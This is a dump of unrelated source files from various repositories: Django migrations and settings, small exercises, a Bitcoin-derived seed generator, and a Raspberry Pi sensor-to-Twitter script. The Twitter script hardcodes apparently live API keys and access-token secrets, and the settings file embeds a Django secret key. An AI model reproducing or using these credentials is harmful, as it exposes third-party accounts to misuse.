help='If enabled, no printouts are done in case of parsing errors') cmd_line_parser.add_argument('--dry-run', required=False, action='store_true', help='If enabled, no transactions are done to the database') cmd_line_parser.add_argument('FILES', nargs=1, help='Path to TSV-file') config_file_parser = subparsers.add_parser("from-json", help="Read data import configuration from a JSON-file") config_file_parser.add_argument('--quiet', required=False, action='store_true', help='If enabled, no printouts are done in case of parsing errors') config_file_parser.add_argument('--dry-run', required=False, action='store_true', help='If enabled, no transactions are done to the database') config_file_parser.add_argument('FILE', nargs=1, help='Path to configuration JSON-file') args = mainparser.parse_args() if args.quiet is True: global TOGGLE_QUIET TOGGLE_QUIET = True if args.dry_run is True: global DRY_RUN DRY_RUN = True if 'FILES' in args: run_from_command_line_args(args) else: run_from_config_file(args) if __name__ == "__main__": main()
6e4564eb9e4e12feadf1352e7bb7ff5cef2ce99f
06f0ae3ecaaf47b1c23e231838afa524d8446f5e
/sports/mlb/migrations/0016_auto_20160722_1507.py
49e69e4a1c4d81bdbec93111e2772b4742493b4f
[]
no_license
nakamotohideyoshi/draftboard-web
c20a2a978add93268617b4547654b89eda11abfd
4796fa9d88b56f80def011e2b043ce595bfce8c4
refs/heads/master
2022-12-15T06:18:24.926893
2017-09-17T12:40:03
2017-09-17T12:40:03
224,877,650
0
0
null
2022-12-08T00:02:57
2019-11-29T15:20:17
Python
UTF-8
Python
false
false
413
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-22 19:07 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('mlb', '0015_livefeed'), ] operations = [ migrations.RenameField( model_name='livefeed', old_name='at_bat', new_name='data', ), ]
00e145376c262a28615cb8d59e9c20236616f731
be085fd1025948e5e07e84a1fbb9f26bf43ad72b
/superauto/assets/migrations/0009_myprofile.py
1814b366064ad9dcfcdab731a1121a2bcc0179e5
[]
no_license
zjleifeng/xmktzcdb
e048f8a197662e9b05e69f53937c02b4c891aef2
044447eeb5b1390680af5af1c94a4d528a51759e
refs/heads/master
2021-01-18T20:34:49.152074
2016-11-29T10:19:44
2016-11-29T10:19:44
72,193,803
0
0
null
null
null
null
UTF-8
Python
false
false
1,457
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.conf import settings import easy_thumbnails.fields import userena.models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('assets', '0008_auto_20161124_1505'), ] operations = [ migrations.CreateModel( name='MyProfile', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('mugshot', easy_thumbnails.fields.ThumbnailerImageField(help_text='A personal image displayed in your profile.', upload_to=userena.models.upload_to_mugshot, verbose_name='mugshot', blank=True)), ('privacy', models.CharField(default=b'registered', help_text='Designates who can view your profile.', max_length=15, verbose_name='privacy', choices=[(b'open', 'Open'), (b'registered', 'Registered'), (b'closed', 'Closed')])), ('favourite_snack', models.CharField(max_length=5, verbose_name='favourite snack')), ('user', models.OneToOneField(related_name='my_profile', verbose_name='\u7528\u6237', to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, 'permissions': (('view_profile', 'Can view profile'),), }, ), ]
dadce4c547ea2d88748d9099526b4c92708134c8
995a223a56f688b7bf9c536112ce64f1ed6280ed
/Post/migrations/0001_initial.py
420e57732b005d591fb30dd61a1373c1139ed063
[]
no_license
AnkitTiwari1/Django-project
7e0538c661daf8ca4ffde14cee4766f5879bf274
4daea1d5326cae3491d7fda69f59e61717c9cd19
refs/heads/master
2020-07-28T08:17:15.308020
2019-09-18T17:32:55
2019-09-18T17:32:55
209,361,860
0
0
null
null
null
null
UTF-8
Python
false
false
792
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.10 on 2019-07-21 19:55 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Post', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('author', models.CharField(max_length=100)), ('date', models.DateField(auto_now_add=True)), ('post', models.TextField()), ('file', models.FileField(blank=True, upload_to='')), ], ), ]
5e02fd278031ec3ccf85ba74aac04e350f380592
a4296208d784e555fb047d0731a8b64712b5d5c2
/homework/homework_day02/rok przestepny.py
12304565a77d0b038acc2c07166f96a2fc457183
[]
no_license
MartaDobrocinska/Kurs_python
73cf74d1f7dde54d51d0164a43cfb557bce17e17
6d521ddb5ca4b53f29aa96c431f0897a213a18a4
refs/heads/master
2021-02-13T19:15:37.614411
2020-04-21T19:57:47
2020-04-21T19:57:47
244,723,552
0
0
null
null
null
null
UTF-8
Python
false
false
245
py
rok = int(input("Podaj rok: ")) if rok % 4 == 0 and rok % 100 != 0: print("Podany rok",rok,"jest przestępny.") elif rok % 400 == 0: print("Podany rok", rok, "jest przestępny.") else: print("Podany rok",rok,"nie jest przestępny.")
ddf25754273c5414a5f28279171886d2bb6d5f1b
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/dEokmCfykvXgcJ3pi_15.py
c70b1c19f68cfff6d68feb941e8d4f469244949c
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
158
py
def first_arg(*args): if not args: return None else: return args[0] ​ def last_arg(*args): if not args: return None else: return args[-1]
0ad2199a595994a93a252978280789c5ebf9d2d6
be79e3e2467ebe3031fa84bb8b5c45da68052966
/HW3/read_data.py
109f155fb9705930b675d699eb882b3596106dcc
[ "MIT" ]
permissive
atenagm1375/bio-inspired_computing
7aefb9bb976c0604022d54ffee1af1e3cf666a8a
439bed89877d2c887f3138847659390956b4bed6
refs/heads/master
2020-04-02T13:26:38.793608
2019-02-01T06:36:14
2019-02-01T06:36:14
154,481,288
3
0
null
null
null
null
UTF-8
Python
false
false
823
py
def read_data(folder="./DATA/", file_name="bayg29.tsp"): file = open(folder + file_name, 'r') for line in file: l = line.strip('\n').split("DIMENSION: ", 1) if len(l) > 1: n = int(l[1]) - 1 break # n = int(file.readline().strip('\n').split("enter a dimention of matrix :", 1)[1]) distances = [[0 for i in range(n+1)] for j in range(n+1)] cities = list(range(n)) for line in file: if line.strip('\n') == "EDGE_WEIGHT_SECTION": print("yes") break for i in range(n): row = list(filter(('').__ne__, file.readline().strip("\n").split(' ')))[::-1] for j in range(len(row)): distances[i][j+1+i] = int(row[j]) distances[j+1+i][i] = int(row[j]) file.close() return cities, distances
2096785495cc81dfee5c4538f05923ff9c07db2e
3d7337008f15a718a15560ce8cc351b825e3e678
/Bravo/contrib/seeds/makeseeds.py
90f4c848695500d28733cddd243362786ffc0f9b
[ "MIT" ]
permissive
NewBravoCoin/Bravo
e48e064876ab4183fe1ba3f640f580ec3e11e689
f5bdf0f81d7924d0e3d4770f27bf99d5a415a8c8
refs/heads/master
2020-03-27T05:16:37.593844
2018-08-24T15:16:33
2018-08-24T15:16:33
146,007,550
1
0
null
null
null
null
UTF-8
Python
false
false
5,513
py
#!/usr/bin/env python3 # Copyright (c) 2013-2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Generate seeds.txt from Pieter's DNS seeder # NSEEDS=512 MAX_SEEDS_PER_ASN=2 MIN_BLOCKS = 615801 # These are hosts that have been observed to be behaving strangely (e.g. # aggressively connecting to every node). SUSPICIOUS_HOSTS = { "" } import re import sys import dns.resolver import collections PATTERN_IPV4 = re.compile(r"^((\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})):(\d+)$") PATTERN_IPV6 = re.compile(r"^\[([0-9a-z:]+)\]:(\d+)$") PATTERN_ONION = re.compile(r"^([abcdefghijklmnopqrstuvwxyz234567]{16}\.onion):(\d+)$") PATTERN_AGENT = re.compile(r"^(/BRVCore:2.2.(0|1|99)/)$") def parseline(line): sline = line.split() if len(sline) < 11: return None m = PATTERN_IPV4.match(sline[0]) sortkey = None ip = None if m is None: m = PATTERN_IPV6.match(sline[0]) if m is None: m = PATTERN_ONION.match(sline[0]) if m is None: return None else: net = 'onion' ipstr = sortkey = m.group(1) port = int(m.group(2)) else: net = 'ipv6' if m.group(1) in ['::']: # Not interested in localhost return None ipstr = m.group(1) sortkey = ipstr # XXX parse IPv6 into number, could use name_to_ipv6 from generate-seeds port = int(m.group(2)) else: # Do IPv4 sanity check ip = 0 for i in range(0,4): if int(m.group(i+2)) < 0 or int(m.group(i+2)) > 255: return None ip = ip + (int(m.group(i+2)) << (8*(3-i))) if ip == 0: return None net = 'ipv4' sortkey = ip ipstr = m.group(1) port = int(m.group(6)) # Skip bad results. if sline[1] == 0: return None # Extract uptime %. uptime30 = float(sline[7][:-1]) # Extract Unix timestamp of last success. lastsuccess = int(sline[2]) # Extract protocol version. version = int(sline[10]) # Extract user agent. if len(sline) > 11: agent = sline[11][1:] + sline[12][:-1] else: agent = sline[11][1:-1] # Extract service flags. service = int(sline[9], 16) # Extract blocks. blocks = int(sline[8]) # Construct result. return { 'net': net, 'ip': ipstr, 'port': port, 'ipnum': ip, 'uptime': uptime30, 'lastsuccess': lastsuccess, 'version': version, 'agent': agent, 'service': service, 'blocks': blocks, 'sortkey': sortkey, } def filtermultiport(ips): '''Filter out hosts with more nodes per IP''' hist = collections.defaultdict(list) for ip in ips: hist[ip['sortkey']].append(ip) return [value[0] for (key,value) in list(hist.items()) if len(value)==1] # Based on Greg Maxwell's seed_filter.py def filterbyasn(ips, max_per_asn, max_total): # Sift out ips by type ips_ipv4 = [ip for ip in ips if ip['net'] == 'ipv4'] ips_ipv6 = [ip for ip in ips if ip['net'] == 'ipv6'] ips_onion = [ip for ip in ips if ip['net'] == 'onion'] # Filter IPv4 by ASN result = [] asn_count = {} for ip in ips_ipv4: if len(result) == max_total: break try: asn = int([x.to_text() for x in dns.resolver.query('.'.join(reversed(ip['ip'].split('.'))) + '.origin.asn.cymru.com', 'TXT').response.answer][0].split('\"')[1].split(' ')[0]) if asn not in asn_count: asn_count[asn] = 0 if asn_count[asn] == max_per_asn: continue asn_count[asn] += 1 result.append(ip) except: sys.stderr.write('ERR: Could not resolve ASN for "' + ip['ip'] + '"\n') # TODO: filter IPv6 by ASN # Add back non-IPv4 result.extend(ips_ipv6) result.extend(ips_onion) return result def main(): lines = sys.stdin.readlines() ips = [parseline(line) for line in lines] # Skip entries with valid address. ips = [ip for ip in ips if ip is not None] # Skip entries from suspicious hosts. ips = [ip for ip in ips if ip['ip'] not in SUSPICIOUS_HOSTS] # Enforce minimal number of blocks. ips = [ip for ip in ips if ip['blocks'] >= MIN_BLOCKS] # Require service bit 1. ips = [ip for ip in ips if (ip['service'] & 1) == 1] # Require at least 50% 30-day uptime. ips = [ip for ip in ips if ip['uptime'] > 50] # Require a known and recent user agent. ips = [ip for ip in ips if PATTERN_AGENT.match(re.sub(' ', '-', ip['agent']))] # Sort by availability (and use last success as tie breaker) ips.sort(key=lambda x: (x['uptime'], x['lastsuccess'], x['ip']), reverse=True) # Filter out hosts with multiple bitcoin ports, these are likely abusive ips = filtermultiport(ips) # Look up ASNs and limit results, both per ASN and globally. ips = filterbyasn(ips, MAX_SEEDS_PER_ASN, NSEEDS) # Sort the results by IP address (for deterministic output). ips.sort(key=lambda x: (x['net'], x['sortkey'])) for ip in ips: if ip['net'] == 'ipv6': print('[%s]:%i' % (ip['ip'], ip['port'])) else: print('%s:%i' % (ip['ip'], ip['port'])) if __name__ == '__main__': main()
[ "none" ]
none
03f79d01286e5d061101e15979f8cb6e8522f4fd
aae03454f98ad0ee9e9d27bc701568b0d8a6ce00
/test.py
262829cde4fc6ce20551a082d63580205558f8cf
[]
no_license
misabnll/juego-python
a6ad66e1be5fdc16374cdf6b7a8a3df2f11319b0
887fc4a1726883a5674de706a9d56037e6aa1bab
refs/heads/master
2021-09-14T17:36:49.448911
2018-05-16T19:43:48
2018-05-16T19:43:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
64
py
# -*- coding: utf-8 -*- print("hola mundo") print("hola a todo")
72300211aa41cb9a9b0de0203df24494a6548dee
e7e62e607eb857e8c49687d43a44b0f60444fc8e
/examples/acados_python/Unicycle/utils.py
44031cdb92198e4e167e96b65ad414f169dfc264
[ "BSD-2-Clause" ]
permissive
dkouzoup/acados
c928534ac80c006c8ca7c12ab7a53c926df2819d
1b5b77f060e381f4229b34ff8145cdb26b04ea44
refs/heads/master
2022-12-05T21:19:04.909952
2022-11-28T12:21:03
2022-11-28T12:21:03
75,648,946
0
0
null
2018-03-13T14:24:19
2016-12-05T17:19:23
C
UTF-8
Python
false
false
2,993
py
import os import matplotlib import matplotlib.pyplot as plt import numpy as np def plot_robot( shooting_nodes, u_max, U, X_true, X_est=None, Y_measured=None, latexify=False, plt_show=True, X_true_label=None, ): """ Params: shooting_nodes: time values of the discretization u_max: maximum absolute value of u U: arrray with shape (N_sim-1, nu) or (N_sim, nu) X_true: arrray with shape (N_sim, nx) X_est: arrray with shape (N_sim-N_mhe, nx) Y_measured: array with shape (N_sim, ny) latexify: latex style plots """ # latexify plot if latexify: params = { "backend": "ps", "text.latex.preamble": r"\usepackage{gensymb} \usepackage{amsmath}", "axes.labelsize": 10, "axes.titlesize": 10, "legend.fontsize": 10, "xtick.labelsize": 10, "ytick.labelsize": 10, "text.usetex": True, "font.family": "serif", } matplotlib.rcParams.update(params) WITH_ESTIMATION = X_est is not None and Y_measured is not None N_sim = X_true.shape[0] nx = X_true.shape[1] nu = U.shape[1] Tf = shooting_nodes[N_sim - 1] t = shooting_nodes Ts = t[1] - t[0] if WITH_ESTIMATION: N_mhe = N_sim - X_est.shape[0] t_mhe = np.linspace(N_mhe * Ts, Tf, N_sim - N_mhe) control_lables = ["$F$", "$T$"] for i in range(nu): plt.subplot(nx + nu, 1, i+1) # line, = plt.step(t, np.append([U[0]], U)) # line, = plt.plot(t, U[:, 0], label='U') (line,) = plt.step(t, np.append([U[0, i]], U[:, i])) # (line,) = plt.step(t, np.append([U[0, 0]], U[:, 0])) if X_true_label is not None: line.set_label(X_true_label) else: line.set_color("r") # plt.title('closed-loop simulation') plt.ylabel(control_lables[i]) plt.xlabel("$t$") if u_max[i] is not None: plt.hlines(u_max[i], t[0], t[-1], linestyles="dashed", alpha=0.7) plt.hlines(-u_max[i], t[0], t[-1], linestyles="dashed", alpha=0.7) plt.ylim([-1.2 * u_max[i], 1.2 * u_max[i]]) plt.grid() states_lables = ["$x$", "$y$", "$v$", "$theta$", "$thetad$"] for i in range(nx): plt.subplot(nx + nu, 1, i + nu+1) (line,) = plt.plot(t, X_true[:, i], label="true") if X_true_label is not None: line.set_label(X_true_label) if WITH_ESTIMATION: plt.plot(t_mhe, X_est[:, i], "--", label="estimated") plt.plot(t, Y_measured[:, i], "x", label="measured") plt.ylabel(states_lables[i]) plt.xlabel("$t$") plt.grid() plt.legend(loc=1) plt.subplots_adjust(left=None, bottom=None, right=None, top=None, hspace=0.4) # avoid plotting when running on Travis if os.environ.get("ACADOS_ON_CI") is None and plt_show: plt.show()
a2294881c73700503fc1cf60ad242364ae8ab8ef
81e706b69c789aff05691c41fa79156942927f82
/site-packages/tensorflow/_api/v1/train/experimental/__init__.py
4ed74fc8020f54a44b4e17a9b2127a87b0be7af1
[]
no_license
yoncho/OpenCV-code
f5a1091ef32f3c8c3254ab93e083950b84c4fabd
bda2f793b11462e67c7ab644b342beffb871e3de
refs/heads/master
2023-03-30T12:01:23.521511
2021-04-01T13:45:44
2021-04-01T13:45:44
291,398,453
0
0
null
null
null
null
UTF-8
Python
false
false
1,213
py
# This file is MACHINE GENERATED! Do not edit. # Generated by: tensorflow/python/tools/api/generator/create_python_api.py script. """Public API for tf.train.experimental namespace. """ from __future__ import print_function as _print_function from tensorflow.python.training.experimental.loss_scale import DynamicLossScale from tensorflow.python.training.experimental.loss_scale import FixedLossScale from tensorflow.python.training.experimental.loss_scale import LossScale from tensorflow.python.training.experimental.loss_scale_optimizer import MixedPrecisionLossScaleOptimizer from tensorflow.python.training.experimental.mixed_precision import disable_mixed_precision_graph_rewrite from tensorflow.python.training.experimental.mixed_precision import enable_mixed_precision_graph_rewrite from tensorflow.python.training.tracking.python_state import PythonState del _print_function import sys as _sys from tensorflow.python.util import deprecation_wrapper as _deprecation_wrapper if not isinstance(_sys.modules[__name__], _deprecation_wrapper.DeprecationWrapper): _sys.modules[__name__] = _deprecation_wrapper.DeprecationWrapper( _sys.modules[__name__], "train.experimental")
418d11176c3bfad5531cf1f2a746f2f572a9c2b7
d90e093d0f47e9938d3f7a4089fc41dbdaf157a0
/cookieDHT22.py
bf98f75f46d3e007df8bf60ace2a4d6d044c2b6f
[]
no_license
nehasprasad/Pitemp
fcaa48f5edbad4d0777a1e24257e0ed0cf66a326
8cf300697755ba5ba53583b00e8d2bfd79571119
refs/heads/master
2020-06-23T19:45:39.641859
2016-11-24T05:08:16
2016-11-24T05:08:16
74,639,207
0
0
null
null
null
null
UTF-8
Python
false
false
2,097
py
#! /usr/bin/env python import pigpio import DHT22 import tweepy from time import sleep from datetime import datetime import sqlite3 conn = sqlite3.connect('tweepy.db') c = conn.cursor() API_KEY = 'WIDmeDxaao1Aaj7RLHcXopxoY' API_SECRET = '7hpRCUwESJcLSm75qNJy10Wtii87W9J7uYyFBF3YgFcekpqZil' ACCESS_TOKEN = '792094452776972289-FAEZpkgosa6rq2d6NTSUqVBE3R4cgas' ACCESS_TOKEN_SECRET = 'vWxytTUJ0IVYj3hL9BnTd5ziz8yZIQo8bVSxTXAGTTT8t' auth = tweepy.OAuthHandler(API_KEY, API_SECRET) auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET) api = tweepy.API(auth) #Initiate GPIO for pigpio pi=pigpio.pi() #Setup the sensor dht22=DHT22.sensor(pi, 4) #use the actual GPIO pin name dht22.trigger() #grab the first junk reading sleepTime=3 #should be above 2 second SlpTime=120 def readDHT22() : dht22.trigger() humidity = '%.2f' % (dht22.humidity()) temp = '%.2f' % (dht22.temperature()) return (humidity,temp) while 1: TEMP1,TEMP2 = readDHT22() sleep(sleepTime) TEMP1,TEMP2 =readDHT22() sleep(sleepTime) humidity,temperature = readDHT22() print("Humidity is : " +humidity + "%") print("Temperature is: " + temperature + "C") thetime = datetime.now().strftime('%-I:%M%P on %d-%m-%Y') sleep(sleepTime) humidity = float(humidity) temperature = float(temperature) if humidity > 60.00 and humidity < 70.00: h="Humidity is good" elif humidity < 60.00: h="Humidity is low" elif humidity > 70.00: h="Humidity is high" if temperature > 16.00 and temperature < 22.00: t="Temperature is good for fertilisation" elif temperature > 20.00 and temperature < 35.00: t="Temperature is good for harvest" elif temperature < 16.00: t="Temp too low" elif temperature > 35.00: t="Temp too high" humidity = str(humidity) temperature = str(temperature) print(h) print(t) c.execute("INSERT INTO analysis(date, temp, condition1, humidity, condition2) VALUES (?,?,?,?,?)",(thetime,temperature,t,humidity,h)) api.update_status("Temperature: "+temperature +"C "+t+"\n"+"Humidity: "+humidity+"% "+h+" at "+thetime) conn.commit() sleep(SlpTime) conn.close()
c735ec69713f419d9735b007dd2746f56d78ad77
b616f2c54b04e5ab09a11a9153e0f5e5c005add2
/backend/core/migrations/0003_auto_20161230_0232.py
b7dd10b966c20f4fa8daad264fe9017629291b41
[ "BSD-2-Clause" ]
permissive
getlinky/linky
34bfb0afa0d6170ac87535545b4633515ef9ae4e
fe76df7149a0d15818bf5904e66e98a2e9affeb7
refs/heads/master
2021-09-06T17:30:44.825157
2018-02-09T02:48:16
2018-02-09T02:48:16
72,317,205
5
1
BSD-2-Clause
2018-02-06T02:48:54
2016-10-30T00:48:37
Vue
UTF-8
Python
false
false
627
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2016-12-30 02:32 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0002_auto_20161219_2338'), ] operations = [ migrations.AlterField( model_name='link', name='description', field=models.CharField(blank=True, max_length=200), ), migrations.AlterField( model_name='link', name='title', field=models.CharField(blank=True, max_length=200), ), ]
360be08c9755bb0b468f3ab1dcf4727b23eaa670
ab9a22af433f35a9a85d07665e82fa36ce85efe3
/vengine-3e869c88d7e5987dacc23f7bf2baa701c96c08a2/vapi/apps.py
ddb8cee49aa56225eeae6035ed0a6553611d1093
[]
no_license
linqd1/driveless
a32d7743a292df6a1016eacf288779465e34eef0
22ab1d42723699927740470ae8be43048382b8ed
refs/heads/master
2023-01-29T11:48:24.720415
2019-09-15T10:46:18
2019-09-15T10:46:18
208,528,438
0
0
null
2023-01-04T10:28:23
2019-09-15T01:57:42
Rust
UTF-8
Python
false
false
83
py
from django.apps import AppConfig class VapiConfig(AppConfig): name = 'vapi'
e1899d620a7e9a8753f5c7cf7ec4d82bfbb8cd91
2b016c3edbe6fc31b65f9a891f8e3dad37448444
/pfe/settings.py
858ec250a7a7af8896f802c113bf0ffe25c2bff4
[]
no_license
skander95/TEST0
0d9089fe57ba529c4808446022ab369f51759f65
6a6154aab2e51e5a540e5b7dde5f58e24b0a3238
refs/heads/master
2023-06-10T18:47:59.256016
2021-07-04T17:06:47
2021-07-04T17:06:47
382,910,037
0
0
null
null
null
null
UTF-8
Python
false
false
3,230
py
""" Django settings for pfe project. Generated by 'django-admin startproject' using Django 3.2.5. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'django-insecure-i1l91wtsgdpiwhj)5g&*y4_&rv%qg=6^0+3z@(#oxvp*bs(v1o' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'pfe.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'pfe.wsgi.application' # Database # https://docs.djangoproject.com/en/3.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ STATIC_URL = '/static/' # Default primary key field type # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
0d8f9888ec55b97cbf2c3d516105c5bb977ca2da
3934617c92d9c28653009231c86bcf52b7a1167c
/matrixMulti.py
f1f4275a1ab05455b470d9bb1c1499e766b041af
[]
no_license
jamiejamiebobamie/ds-2.2-class-repo
d0f26e39d1ab5c355934b169bb4025beb11b33cd
f40e6aa0ed11d46966e722bc9ab43b17bae05bf6
refs/heads/master
2020-08-30T11:48:46.792289
2019-11-19T01:37:29
2019-11-19T01:37:29
218,371,294
0
0
null
null
null
null
UTF-8
Python
false
false
445
py
import numpy as np matrix = [[2,0],[1,3]] # 2,2 vector = [[4,5]] # 2,1 # [a1][a2] * [b1][b2] = [a1][b2] # dot product def dot(a,b): shape = np.shape(a) b = np.reshape(b,*shape) return np.dot(a,b) # element-wise multiplication def multi(a,b): if np.shape(a) == np.shape(b): return np.multiply(a,b) else: return "Input must be of the same shapes." print(multi(vector,vector)) print(dot(matrix,vector))
f7e15f1ea1931b695fab195e88ff7526896b8cd3
0d122ee6615b53167f18b96f4fe16179135d5359
/cassie/accounts/models/accounts.py
b4c0d9bf81438e91f157906ba8fe3ad2d21daf41
[]
no_license
sgg10/cassie_backend
383e1d426fa337cee6de429a4d94dc62beb966e6
8acacb30470626e7f009cd1ca36ad8fe2d3b1286
refs/heads/master
2023-05-13T17:45:16.699646
2021-05-30T00:05:39
2021-05-30T00:05:39
372,090,778
0
0
null
null
null
null
UTF-8
Python
false
false
700
py
"""Accounts models.""" # Django from django.db import models # Utilities from cassie.utils.models import CassieModel class Account(CassieModel): """Account model. An account object is a Trading account in MetaTrader4. Each account is associated with a license and occupies an available space from this. """ license = models.ForeignKey('licenses.License', on_delete=models.CASCADE) account_number = models.PositiveIntegerField() initial_value = models.FloatField() current_value = models.FloatField() is_active = models.BooleanField(default=True) def __str__(self): """Return license and account number.""" return f'{self.license.key}: {self.account_number}'
da38c6d8fffaeb5783ea990cc4c0d141c546348d
1483c757338467cefd248fe45986f3fc1aedc49a
/api_connect_monitor.py
2c7a592b0ff9d385fcc1953bda29077f37052858
[]
no_license
alexzhang1/auto_monitor
ac9d2f8ffce356cfcec7b0e700af0afa8c7373db
03f3a8c711436cc498b8cb086be111accbd2c399
refs/heads/master
2021-07-11T13:11:06.539643
2020-10-12T03:19:07
2020-10-12T03:19:07
190,317,710
0
0
null
null
null
null
UTF-8
Python
false
false
6,446
py
#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : api_connect_monitor.py @Time : 2020/03/26 15:28:32 @Author : wei.zhang @Version : 1.0 @Desc : None ''' # here put the import lib import sys import traderapi import time import threading import logging import common_tools as ct import getopt import json import datetime as dt import pandas as pd import csv import subprocess logger = logging.getLogger() class TraderSpi(traderapi.CTORATstpTraderSpi): def __init__(self,api,app): traderapi.CTORATstpTraderSpi.__init__(self) self.__api=api self.__req_id=0 self.__app=app def OnFrontConnected(self): print("OnFrontConnected") self.__app.wake_up() def OnRspUserLogin(self, pRspUserLoginField, pRspInfo, nRequestID, bIsLast): print("OnRspUserLogin: ErrorID[%d] ErrorMsg[%s] RequestID[%d] IsLast[%d]" % (pRspInfo['ErrorID'], pRspInfo['ErrorMsg'], nRequestID, bIsLast)) if pRspInfo['ErrorID'] == 0: self.__app.wake_up() def auto_increase_reqid(self): self.__req_id = self.__req_id + 1 def test_req_user_login(self): #请求编号自增 self.auto_increase_reqid() #请求登录 login_req = traderapi.CTORATstpReqUserLoginField() login_req.LogInAccount=input("input login user:") login_req.LogInAccountType = traderapi.TORA_TSTP_LACT_UserID login_req.Password=input("input login password:") ret=self.__api.ReqUserLogin(login_req, self.__req_id) if ret!=0: print("ReqUserLogin ret[%d]" %(ret)) self.__app.wake_up() class TestApp(threading.Thread): def __init__(self, name, address): threading.Thread.__init__(self) self.__name = name self.__api = None self.__spi = None self.__address = address self.__lock = threading.Lock() self.__lock.acquire() def run(self): while True: if self.__api is None: print(traderapi.CTORATstpTraderApi_GetApiVersion()) self.__api = traderapi.CTORATstpTraderApi.CreateTstpTraderApi() self.__spi = TraderSpi(self.__api, self) self.__api.RegisterSpi(self.__spi) self.__api.RegisterFront(self.__address) #订阅私有流 self.__api.SubscribePrivateTopic(traderapi.TORA_TERT_RESTART) #订阅公有流 self.__api.SubscribePublicTopic(traderapi.TORA_TERT_RESTART) #启动接口对象 self.__api.Init() else: self.__lock.acquire() exit=False connect_err_count_dict = {} while True: print("start monitor trade api port") # ss -nap | grep 122.144.152.9:6500 | grep ESTAB para = '122.144.152.9:6500' connect_err_count_dict[para] = 0 commond = 'ss -nap | grep ' + para + ' | grep ESTAB' execute_com = subprocess.Popen(commond, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) # 执行命令 res,err = execute_com.communicate() logger.info("res:" + str(res)) print("res:" + str(res)) print('len(res):', len(res)) logger.info("err:" + str(err)) print("err:" + str(err)) if res!=b'': print('tcp ESTAB is ok') connect_err_count_dict[para] = 0 time.sleep(3) continue else: print("tcp is not ESTAB!") connect_err_count_dict[para] += 1 if connect_err_count_dict[para] < 3: print("send error msg!") #ct.send_sms_control('error') time.sleep(3) if exit == True: break def wake_up(self): self.__lock.release() def stop(self): self.__running=False def run_app(task, CheckData): #启动线程 #app=TestApp("thread", "tcp://122.144.152.9:8500") app=TestApp("thread", task, CheckData) logger.info("init_login") app.start() app.join() return app.check_flag def main(argv): try: yaml_path = './config/api_monitor_logger.yaml' ct.setup_logging(yaml_path) with open('./config/api_monitor_config.json', 'r') as f: JsonData = json.load(f) logger.debug(JsonData) manual_task = '' try: opts, args = getopt.getopt(argv,"ht:",["task="]) except getopt.GetoptError: print('sppytraderapi_check.py -t <task> or you can use -h for 